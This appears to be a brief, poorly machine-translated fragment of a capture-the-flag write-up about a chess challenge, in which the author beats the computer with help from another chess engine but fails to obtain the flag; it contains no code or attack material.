i Spring Chess

This is a very interesting a question, after opening is a pve chess game, I think the next win should occur Flag , but after several attempts failed (really a bit much, I play on a whim several to, Available to try to get a more powerful computer with him to the next, what happens if the win)

Do not say chess game, and we do this question, first of all is to win impossible to get through the flag , he will automatically challenge the master level, novice though I chose. . . . (I dish)

 

 

 

Let another computer master and his next, finally won (full read), but still did not Flag . . .
